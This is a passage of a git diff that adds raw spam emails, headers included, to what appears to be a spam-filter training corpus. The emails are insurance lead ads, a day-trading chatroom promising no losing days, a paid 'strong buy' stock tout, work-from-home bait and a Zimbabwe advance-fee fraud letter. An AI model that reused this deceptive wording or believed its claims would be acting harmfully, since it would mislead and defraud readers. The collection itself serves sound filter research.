below for more information +Name: +E-mail: +Phone: +City: State: + + +02-0977 +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice + + +------=_NextPart_000_C7975_01C23675.9DAF2550 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Fresh, Crisp Leads from Allmerica Financial + + + + +

    + + + + +
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    + 3D"If
    + 3D'Fire
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    Through=20 + established sponsored market programs with CPA = +firms,=20 + banks, credit unions and property and casualty = +firms,=20 + you'll receive the kind of leads you need to = +grow your=20 + client base and meet their long-term financial = +needs.=20 +

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    3D'Marketing
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    Allmerica=20 + experts will help you map a strategy for = +selecting and=20 + penetrating the right market or markets to grow = +your practice.=20 + We'll also give you the on-going support to make = +sure=20 + that you stay on-target.

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    +
    3D'Client
    =20 +
    =20 +

    Allmerica=20 + gives you an edge by providing you with = +web-based new=20 + business technology and customer service = +programs designed=20 + for responsiveness and convenience.

    +
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    3D'On-Going
    =20 +
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    Your=20 + local office will provide proven, innovative = +marketing=20 + and sales support programs brought to you by = +your field-based=20 + associates.

    +
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    + + =20 + + +
    + =20 + Investment Products and Services +
    + + =20 + + + + + + =20 + + + + + + =20 + + + + + + =20 + + + + + + =20 + + + + + +
    Brokerage servicesPrivate money managers
    Individual securitiesAutomatic account rebalancing
    Mutual fundsIndividual retirement accounts
    Proprietary and non-proprietary variable and = +fixed annuitiesAsset allocation models and investment = +planning
    Wrap programs 529 Plans
    + + =20 + + +
    + + Other Personal Financial Services +
    + + =20 + + + + + + =20 + + + + + + =20 + + + + + + =20 + + + + +
    Financial planning Tax planning
    Retirement planning Comprehensive planning software
    Education planning Risk management & insurance = +planning
    Estate planning  
    + + =20 + + +
    + + Business Services +
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    Business planning Business insurance: buy-sell, = +key-person
    Business continuation Executive compensation
    Qualified plans: pensions, profit-sharing, = +401KGroup insurance: life, disability, medical, = +etc.
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    3D'800-846-8395'
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    Please fill = +out the form below for more information
    Name:=20 + +
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     =20 + +  =20 + + +
    +
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    02-0977
    + We don't want anybody to receive our mailing who does = +not wish=20 + to receive them. This is a professional communication = +sent to=20 + insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: http://www.insurancemail.net + Legal = +Notice    =20 +

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    + + + + + +------=_NextPart_706_245554380-- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01166.f0c4605d98cf51b7eeb81bb6072fee3d b/bayes/spamham/spam_2/01166.f0c4605d98cf51b7eeb81bb6072fee3d new file mode 100644 index 0000000..3936130 --- /dev/null +++ b/bayes/spamham/spam_2/01166.f0c4605d98cf51b7eeb81bb6072fee3d @@ -0,0 +1,97 @@ +From lazytrader@mail.com Mon Jul 29 12:48:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7F559440EE + for ; Mon, 29 Jul 2002 07:48:12 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 12:48:12 +0100 (IST) +Received: from localhost.localdomain ([209.197.199.5]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6TBnCp07139 + for ; Mon, 29 Jul 2002 12:49:13 +0100 +Received: from unknown +Date: Mon, 29 Jul 2002 04:37:44 -0700 +Message-Id: <200207291137.g6TBbiUT027641@localhost.localdomain> +Content-Disposition: inline +Content-Type: text/plain +MIME-Version: 1.0 +X-Mailer: MIME::Lite 1.3 +From: Investor Relations +To: Investor +Cc: +Subject: LazyTraders: $449,000 on Wednesday, 1.1 Mil this week. +Content-Transfer-Encoding: binary + +Well, LazyTraders, + +Our Chatroom continues to get more profitable every week, here is what happened this week; + +Every day the room averaged about $200,000 profit, and on Wednesday it produced $449,000 trading with 1000 shares. + +If you were trading with 100 shares the results would have been $20,000 every day and $44,900 on Wednesday. + +Mr G uses Fibonacci numbers and Elliott Waves and will teach you how to do the same thing. + +if you are at all interested in trading and want to expand your knowledge to the point where you no longer have to lose money but will actually make money on a consistent basis join his Chatroom for $199 per month. + +You'll learn how to trade futures, and you'll get daily Stockpicks as well. + +The Chatroom has had no losing days. + +http://lazytrader.get.to + +You can also become a Lazy DayTrader and learn how to capture Stocks that make 30 to 100% in one day. + +You'll learn how to find all of them in real time in 2 seconds, you'll learn when to buy them and when to sell them by using buying and selling pressure at: + +http://lazytrader.get.to + +and, you can also use our AI StockPicking Software that will pick winning Stocks for you and makes between 15 and 50% per day consistently. + + +Have a nice day. + + +Frank vanderlugt + + +If our Server is down go to any Search Engine and type "lazy daytrader". + +To be removed just click on +lazytrader@37.com and type "unsubscribe" + +Or fax us at: + +775-320-3470 + + + + +Please understand that the decision to buy or sell any +security is done purely at your own risk. Under no +circumstances will we, owners, officers, +or employees be held liable for any losses incurred by +the use of information contained in the Lazy DayTrading +System. Please recognize that investing in stocks includes +risk and that the past performance of a stock is not +necessarily an indicator of future gains. The person or +persons utilizing this service herein known as +"subscriber" acknowledges that he/she fully understands +that the risk factor is high in trading and that only +"Risk Capital" or "Risk Funds" should be used in such +trading. A person who does not have extra Risk Capital, +or Risk Funds, that they can afford to lose, should not +trade in the market. No "SAFE" trading system has ever +been devised, and no one including us can guarantee +profits or freedom from loss. We are not brokers or +stock advisors. +Please understand that the information provided in The +Lazy DayTrading System is for educational purposes only +and that we are not recommending any securities to +be bought or sold. +The information provided by The +Lazy DayTrading System is for the personal use of the +members only. + + diff --git a/bayes/spamham/spam_2/01167.2ac57a0189fa2b8713202b84e587b707 b/bayes/spamham/spam_2/01167.2ac57a0189fa2b8713202b84e587b707 new file mode 100644 index 0000000..101f013 --- /dev/null +++ b/bayes/spamham/spam_2/01167.2ac57a0189fa2b8713202b84e587b707 @@ -0,0 +1,234 @@ +From bestoffers@dishnetdsl.net Mon Jul 29 14:10:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 676FF440EC + for ; Mon, 29 Jul 2002 09:10:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 14:10:00 +0100 (IST) +Received: from ethfrvs.eth.net (mail10.eth.net [202.9.145.41] (may be + forged)) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TD3Qq29434 + for ; Mon, 29 Jul 2002 14:03:32 +0100 +Received: from smtp-19.eth.net ([202.9.178.19] unverified) by + ethfrvs.eth.net with Microsoft SMTPSVC(5.0.2195.4453); Mon, 29 Jul 2002 + 18:45:06 +0530 +MIME-Version: 1.0 +From: bestoffers@dishnetdsl.net +Reply-To: bestoffers@dishnetdsl.net +To: bestoffers@dishnetdsl.net +Subject: Postal Mail Via Email - Anytime, anywhere +MIME-Version: 1.0 +Message-Id: +X-Originalarrivaltime: 29 Jul 2002 13:15:06.0145 (UTC) FILETIME=[F4CE4910:01C23701] +Date: 29 Jul 2002 18:45:06 +0530 +Content-Type: text/html; charset="us-ascii" + + + + + + + + + + + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/01168.c4a3b7ac6d07798d651af84ea5d9b360 b/bayes/spamham/spam_2/01168.c4a3b7ac6d07798d651af84ea5d9b360 new file mode 100644 index 0000000..b543dd9 --- /dev/null +++ b/bayes/spamham/spam_2/01168.c4a3b7ac6d07798d651af84ea5d9b360 @@ -0,0 +1,87 @@ +From zcvzxbfds@office.com Mon Jul 29 11:22:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5E1B34411D + for ; Mon, 29 Jul 2002 06:21:01 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:21:01 +0100 (IST) +Received: from goldmine.pentcorp.com (CPE-203-45-60-235.vic.bigpond.net.au [203.45.60.235]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6T40vp06240 + for ; Mon, 29 Jul 2002 05:00:58 +0100 +Received: from mail.office.com ([202.7.191.72]) by goldmine.pentcorp.com with Microsoft SMTPSVC(5.0.2195.4905); + Mon, 29 Jul 2002 14:00:53 +1000 +Message-ID: <000035bf41a7$00007f4a$00004454@mail.office.com> +To: +From: "Connie Evritt" +Subject: Clean your credit right from your computer! GN +Date: Mon, 29 Jul 2002 12:00:28 -0400 +MIME-Version: 1.0 +Reply-To: zcvzxbfds@office.com +X-OriginalArrivalTime: 29 Jul 2002 04:00:53.0984 (UTC) FILETIME=[88F92E00:01C236B4] +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +creditfix + + +
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    + + + + + + + diff --git a/bayes/spamham/spam_2/01169.4e5cf6c3e8863047dbba1bfca2ebab97 b/bayes/spamham/spam_2/01169.4e5cf6c3e8863047dbba1bfca2ebab97 new file mode 100644 index 0000000..4a43479 --- /dev/null +++ b/bayes/spamham/spam_2/01169.4e5cf6c3e8863047dbba1bfca2ebab97 @@ -0,0 +1,62 @@ +From suis@freemail.nl Mon Jul 29 19:24:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 34AB2440ED + for ; Mon, 29 Jul 2002 14:24:29 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 19:24:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6TIJNp08407; + Mon, 29 Jul 2002 19:19:31 +0100 +Received: from freemail.nl (wnyes02001.nye.co.jp [210.237.166.52]) + by webnote.net (8.9.3/8.9.3) with SMTP id TAA21544; + Mon, 29 Jul 2002 19:19:05 +0100 +Date: Mon, 29 Jul 2002 19:19:05 +0100 +From: suis@freemail.nl +Reply-To: +Message-ID: <006e08a06bcc$3352e0e6$6bd04dc6@frmmeg> +To: markm@hotmail.com +Subject: work from home. free info +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +Content-Transfer-Encoding: 8bit + +WE NEED HELP. We are a 14 year old fortune 500 company, and we have +grown 1000%! We cannot keep up. We are looking for individuals who +want to work at home, and make a good living. + +So if you are looking to be employed from home with a career that has +vast opportunities, then go: + +http://www.lotsonet.com/opportunity + +and fill out our info form. NO EXPERIENCE REQUIRED, WE WILL TRAIN YOU. +NO COMMITTMENT IS REQUIRED BY FILLING OUT THE FORM, IT IS FOR INFO +ONLY. + +http://www.lotsonet.com/opportunity + +You want to be independent? THEN MAKE IT HAPPEN! +HAPPEN! + +SIMPLY CLICK ON THE LINK BELOW FOR FREE, NO OBLIGATED INFORMATION! +GUARANTEED! + +http://www.lotsonet.com/opportunity + + +To be removed from our link simple go to: + +http://www.lotsonet.com/opportunity/remove.html + + +8064owaS8-626pYyF6611Pnah5-739Lind4606qvym4-041dhmY3817l52 + + diff --git a/bayes/spamham/spam_2/01170.0f6cbb8149f3e19d1b3054960e2cceb5 b/bayes/spamham/spam_2/01170.0f6cbb8149f3e19d1b3054960e2cceb5 new file mode 100644 index 0000000..b74893c --- /dev/null +++ b/bayes/spamham/spam_2/01170.0f6cbb8149f3e19d1b3054960e2cceb5 @@ -0,0 +1,79 @@ +From fork-admin@xent.com Mon Jul 29 20:27:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB6D4440F2 + for ; Mon, 29 Jul 2002 15:27:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 20:27:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6TJOGq15204 for ; + Mon, 29 Jul 2002 20:24:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1B0892940D8; Mon, 29 Jul 2002 12:22:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 210.99.184.3 (unknown [210.100.202.125]) by xent.com + (Postfix) with SMTP id 625112940D7 for ; Mon, + 29 Jul 2002 12:21:36 -0700 (PDT) +Received: from 82.60.152.190 ([82.60.152.190]) by smtp4.cyberec.com with + QMQP; Jul, 29 2002 11:53:58 AM +0700 +Received: from ssymail.ssy.co.kr ([115.212.44.160]) by hd.regsoft.net with + asmtp; Jul, 29 2002 11:21:11 AM -0100 +Received: from 184.244.108.80 ([184.244.108.80]) by rly-xr02.mx.aol.com + with SMTP; Jul, 29 2002 9:53:09 AM -0300 +Received: from [14.42.188.81] by sydint1.microthin.com.au with asmtp; + Jul, 29 2002 8:56:46 AM -0100 +From: Paul Starsky +To: fork@spamassassin.taint.org +Cc: +Subject: Weekly Stock Report vjf +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Mailer: AOL 7.0 for Windows US sub 118 +Message-Id: <20020729192136.625112940D7@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 29 Jul 2002 12:21:13 -0700 + +GAMING ADVISOR + +NEWS July 16, 2002 i2corp Enters into Research and Development Agreement with Nevada Gaming Equipment Supplier For Live Remote Bingo. + +The general feeling of the Top Internet Lawyers and Analysts is that "online gambling and sports betting is here to stay.” Attempts at trying to stop it would be largely ineffective! Banning Internet gambling and sports betting presents technical and legal problems that Governments are ill equipped to enforce. + +What’s more, there are NO competitors for the Company’s method or technology for remote wagering. i2corp is the Only Company in the World that can legally license its method and technology for remote wagering. i2corp is currently negotiating with +Major Casinos Globally. + +Michael Pollock of the Pollock Gaming Resource Group (PRRG) has issued a report studying the effects of live wagering from remote locations. “ The study concludes that live wagering from remote locations does more than create a new source of revenue for sponsoring casinos. Additionally, it creates a marketing opportunity, a means to find and cultivate thousands of new customers who can be encouraged to become on-site patrons.” A copy of the full report in pdf format can be downloaded at http://www.gamingobserver.com/. + +i2corp is the holding company for Home Gambling Network, Inc. HGN holds U.S. Patent 5,800,268, which covers remote wagering on live games and events with electronic financial transactions. The Patent is comprised of three primary actions: the gambling is live; the player is remote and physically away from the actual game or event; and the winnings and losses are transacted electronically in real time. They include, but are not limited to, horse racing, soccer, bingo, poker, roulette and many other Las Vegas Casino Games. + +FACT: Currently there is an overwhelming opinion that remote wagering in real-time will become one of the most profitable/prolific industries worldwide. i2corp recently won judgment against giant UUNET a subsidiary of MCI/WorldCom in a U.S. Federal Court for Patent infringement. Just another compelling reason why i2corp has orphaned their competition! Therefore we conclude i2corp’s common stock to be overlooked and undervalued! + +RECOMMENDATION: STRONG BUY + + i2corp +OTCBB Symbol (ITOO) +Recent Price .05 - .08 +52-Week Hi-Lo .05 - .48 +Short Term Target Price: .60 + +This news release contains forward-looking statements as defined by the Private Securities Litigation Reform Act of 1995. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance and underlying assumptions, and all statements that are other than statements of historical facts. These statements are subject to uncertainties and risks including, but not limited to, product and service demand and acceptance, changes in technology, economic conditions, the impact of competition and pricing, government regulation, and other risks defined in this document. These cautionary statements expressly qualify all such forward-looking statements made by or on behalf of Gaming Advisor. In addition, Gaming Advisor disclaims any obligation to update any forward-looking statements to reflect events or circumstances after the date hereof. The information herein has been obtained from reputable sources and therefore we assume its v + alidity. Gaming Advisor has been c +ompensated $5,000 for the dissemination of this information and may at anytime buy or sell the securities of i2corp’s common stock. + +nywguempturgwthionjpsqdw +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01171.c91e65355a41f43a34bd39be31bd1626 b/bayes/spamham/spam_2/01171.c91e65355a41f43a34bd39be31bd1626 new file mode 100644 index 0000000..bb6faca --- /dev/null +++ b/bayes/spamham/spam_2/01171.c91e65355a41f43a34bd39be31bd1626 @@ -0,0 +1,214 @@ +From timaims@hotmail.com Mon Jul 29 13:08:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6B2D0440EC + for ; Mon, 29 Jul 2002 08:08:36 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 13:08:36 +0100 (IST) +Received: from human09 ([211.117.193.139]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6TC5np07190 + for ; Mon, 29 Jul 2002 13:05:50 +0100 +Message-Id: <200207291205.g6TC5np07190@mandark.labs.netnoteinc.com> +From: "Tim Aims" +To: +Subject: The Money Control System +Mime-Version: 1.0 +Date: Mon, 29 Jul 2002 21:03:50 +Content-Type: text/html; charset="iso-8859-1" + + + + + + +The Money Control System + + + + +

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    + + + + + + diff --git a/bayes/spamham/spam_2/01172.cc7a00858cafd43ad994a3f1a42a5434 b/bayes/spamham/spam_2/01172.cc7a00858cafd43ad994a3f1a42a5434 new file mode 100644 index 0000000..3371096 --- /dev/null +++ b/bayes/spamham/spam_2/01172.cc7a00858cafd43ad994a3f1a42a5434 @@ -0,0 +1,296 @@ +From mando@insurancemail.net Tue Jul 30 00:01:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED76A440F0 + for ; Mon, 29 Jul 2002 19:01:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 00:01:24 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6TMwQq24130 for ; Mon, 29 Jul 2002 23:58:27 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Mon, 29 Jul 2002 18:58:02 -0400 +Subject: Free LTC "Sales Closers" +To: +Date: Mon, 29 Jul 2002 18:58:02 -0400 +From: "IQ - M & O Marketing" +Message-Id: <1287c801c23753$64410070$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI3PrG+LptGFaZKRAmucizIW7lrig== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 29 Jul 2002 22:58:02.0562 (UTC) FILETIME=[645FFA20:01C23753] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_109E99_01C2371D.2AAD3990" + +This is a multi-part message in MIME format. + +------=_NextPart_000_109E99_01C2371D.2AAD3990 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + FREE + LTC "Sales Closers"=09 + Just tell us which sales closer you would like us to send you!=09 + Our state-of-the art Point-Of-Sale CD ROM +Which virtually sells Long Term Care to your clients! This turnkey +presentation prepares your client for the sale. It has both video and +audio, so you just sit back, run the presentation, and get the +applications ready.=20 + + =09 + We're also offering our flip chart version of this presentation=09 +The same great tool in a flip chart format with a +complete script to keep you on track. + + The choice is yours ? choose one of these great LTC +Point-of-Sale items. Which gift would you like? All you have to do is +complete appointment paperwork with M&O Marketing. + +Respond to this e-mail or call us today and we will send over the +paperwork for one of our top carriers. Remember -- We train our agents +on products - free - and we also give at least a $50 commission bonus +for every app you send us.=94=20 + + 866-503-0250 ext. 0 +=20 +For agent use only. =09 +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice =09 + +------=_NextPart_000_109E99_01C2371D.2AAD3990 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Free LTC "Sales Closers" + + + +=20 + + =20 + + +
    =20 + + =20 + + +
    3D"FREE"
    + 3D"LTC=20 +
    + + =20 + + +
    3D"Just
    + + =20 + + + + +
    =20 +


    + Which virtually sells Long Term Care to = +your clients!=20 + This turnkey presentation prepares your client for the = +sale. It=20 + has both video and audio, so you just sit back, run the = +presentation,=20 + and get the applications ready.

    +
    + + =20 + + +
    3D"We're
    + + =20 + + +
    =20 +

    + The same great tool in a flip chart format with a
    + complete script to keep you on track.

    +
    + + =20 + + + +
    =20 +

    The choice is yours – choose one = +of these great=20 + LTC Point-of-Sale items. Which gift would you like? All = +you have=20 + to do is complete appointment paperwork with M&O = +Marketing.

    +

    Respond to this e-mail or call us today and we will = +send over=20 + the paperwork for one of our top carriers. Remember -- = +We train=20 + our agents on products - free - and we also give at = +least a $50=20 + commission bonus for every app you send us."

    +
    + + =20 + + +
    =20 + 3D"866-503-0250
    +
    + For agent use only. +
    + + =20 + + +
    =20 + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill out the form below for = +more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + + =20 + + +
    We don't want anybody = +to receive=20 + our mailing who does not wish to receive them. This is a = +professional=20 + communication sent to insurance professionals. To be = +removed from=20 + this mailing list, DO NOT REPLY to this message. Instead, = +go here:=20 + http://www.insurancemail.net + Legal = +Notice=20 +
    +
    +    =20 + + + +------=_NextPart_000_109E99_01C2371D.2AAD3990-- + + diff --git a/bayes/spamham/spam_2/01173.e0da19fcbb5649aa5104320ce38c6906 b/bayes/spamham/spam_2/01173.e0da19fcbb5649aa5104320ce38c6906 new file mode 100644 index 0000000..00c8950 --- /dev/null +++ b/bayes/spamham/spam_2/01173.e0da19fcbb5649aa5104320ce38c6906 @@ -0,0 +1,86 @@ +From ali@microfinder.com Tue Jul 30 01:42:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C565440EE + for ; Mon, 29 Jul 2002 20:42:57 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 01:42:57 +0100 (IST) +Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6U0gwp09332 + for ; Tue, 30 Jul 2002 01:42:59 +0100 +Received: from no-dns-yet.demon.co.uk ([62.49.104.250] helo=microfinder.com) + by anchor-post-34.mail.demon.net with smtp (Exim 3.35 #1) + id 17ZL6I-000NHk-0Y + for jm@netnoteinc.com; Tue, 30 Jul 2002 01:42:58 +0100 +From: "Alistair Hill" +To: +Subject: Amazing Trade Computer Deals +Sender: "Alistair Hill" +Mime-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Tue, 30 Jul 2002 01:33:04 +0100 +Message-Id: +Content-Transfer-Encoding: 8bit + + +Please take time to look at our newly designed website : www.microfinder.com + +We have a full range of Notebooks, Desktops and Accessories displayed on +the site. + +If you are looking for trade prices feel free to subscribe to the trade +section. + +Here are some of our latest specials : + +Notebooks : + +8 x Famous Brand A430, PIII650mhz, 128MB RAM, 6GB HDD, 13.3" TFT Screen, +56K Modem, +CD Rom, FDD, USB +1 @ 525 + vat, 5 @ £495 + +5 x Dell CPX H500GT, PIII500mhz, 128MB, 12GB HDD, 14.1" TFT, CDRom, FDD, USB +1 @ £480 + vat, 5 @ £455 + vat +DELL CDRW Available £75 extra + +10 x IBM Thinkpad 380 XD, P233mmx, 32MB, 4GB, 12.1" TFT, CDRom, FDD, USB, +(New Battery!) +1 @ £325 + vat, 5 @ £299 + vat + +10 x Digital Hi Note VP 735, P233mmx, 64MB, 3GB HDD, 13.3" TFT, CDRom, +FDD, USB +(Free Carry Case) +1 @ £300 + vat, 5 @ £275 + vat + +20 x Low End Notebooks, P133, 32MB, 1.5GB, TFT and Dual Scan, FDD +>>From £125 + vat + +Desktops : + +20 x Packard Bell Imedia 4600, Celeron 850mhz, 128MB Ram, 20GB HDD, DVD +Rom, FDD, USB +12 Months Warranty +1 @ 320+vat, 5 @ £299 + vat + +Other Imedias in stock - call for prices + +30 x Packard Bell Aur@, TFT Screen and Slim line Base Unit Designer PC, +PIII933mhz, 128 MB Ram, 30GB HDD, DVD, CDRW, PCMCIA, USB, 15" TFT Screen +5 @ £550 + vat + +Call Ali or Tris +Sales and Marketing +Microfinder UK Ltd. +Tel : 01225 447227 +Fax : 01225 471166 +106 Walcot St +Bath +BA1 5BG + +To be removed from this e-mail shot, please reply stating remove in the +subject field. + + diff --git a/bayes/spamham/spam_2/01174.701ed2374fd181a0a63c8bfbc52a911c b/bayes/spamham/spam_2/01174.701ed2374fd181a0a63c8bfbc52a911c new file mode 100644 index 0000000..22c3c19 --- /dev/null +++ b/bayes/spamham/spam_2/01174.701ed2374fd181a0a63c8bfbc52a911c @@ -0,0 +1,49 @@ +From bestrate@igo6.saverighthere.com Tue Jul 30 05:07:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3D234440EF + for ; Tue, 30 Jul 2002 00:07:05 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 05:07:05 +0100 (IST) +Received: from igo6.saverighthere.com (igo6.saverighthere.com [64.25.32.46]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6U408p09949 + for ; Tue, 30 Jul 2002 05:00:09 +0100 +Date: Mon, 29 Jul 2002 20:58:46 -0500 +Message-Id: <200207300158.g6U1wkP07544@igo6.saverighthere.com> +From: bestrate@igo6.saverighthere.com +To: gyagiejomu@saverighthere.com +Reply-To: bestrate@igo6.saverighthere.com +Subject: ADV: Extended Auto Warranties Here tupdt + +Protect your financial well-being. +Purchase an Extended Auto Warranty for your Car today. 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The Internet +is by far the preferred manner of communication in today's fast paced world. It does, +however, present privacy concerns when communicating personal or confidential +information. It also provides computer hackers an extensive playground, with your +identity and financial information as the grand prize. + +Lock & Key Encrypter is the perfect solution to these privacy concerns. This affordable, +easy to use software encrypts your computer files for safe storage or transmittal +over the Internet. + +Don't Become A Victim. Protect your privacy and your financial well being. +Order Today! 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17:09:23 +0100 (IST) +Received: from mail01.svc.cra.dublin.eircom.net (mail01.svc.cra.dublin.eircom.net [159.134.118.17]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6UG9Vp11887 + for ; Tue, 30 Jul 2002 17:09:32 +0100 +Message-Id: <200207301609.g6UG9Vp11887@mandark.labs.netnoteinc.com> +Received: (qmail 64810 messnum 521750 invoked from network[159.134.237.78/wendell.eircom.net]); 30 Jul 2002 16:09:23 -0000 +Received: from wendell.eircom.net (HELO webmail.eircom.net) (159.134.237.78) + by mail01.svc.cra.dublin.eircom.net (qp 64810) with SMTP; 30 Jul 2002 16:09:23 -0000 +From: +To: stanleywoodwork@eircom.net +Subject: business intent +Date: Tue, 30 Jul 2002 17:09:23 +0100 +Mime-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Originating-IP: 63.100.194.138 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Content-Transfer-Encoding: 8bit + +Dear Sir, + +I am Stanley Woodwork, the secetary of Africa White farmers +co-operation (AWFC) OF Zimbabwe. After the last general elections in my country where the incumbent president Mr. Robert Mugabe won the presidential election, the +government has adopted a very aggressive land reforms programme. This programme is solely aimed at taking the land owned by white African farmers for redistribution to black africans. This programme has attracted worldwide +condemnation from world leaders including British prime minister,mr Tony Blair and also forced several white farmers to flee the country for fear of +victimization and physical abuse. + Two weeks ago, our headquartes in Harare was attacked and +looted by black protesters and in the process burnt down the whole building. Fortunately,they did not get access to the huge funds kept in the strong room which +belong to the co-operation. This cash was kept at the secretariat rather than in the bank for fear of seizure by the government. + Now I have the funds in my possession and would need to get it invested in a viable business venture in europe. The cash in question is US$46Million dollars. + Once I can get your commitment and sincerity of investing +this funds on our behalf then I would proceed to get the funds freighted to Europe, where you would be required to pick it up for investment for us. + You do not have anything to worry about as I would undertake all charges involved in freighting the funds to europe, and the business proposal is 100% legal and risk free. + You would be adequately compensated for all your effort once we have gotten the funds to europe. +Please get back to me if you can be of assistance and I would want our correspondence to be via email as most 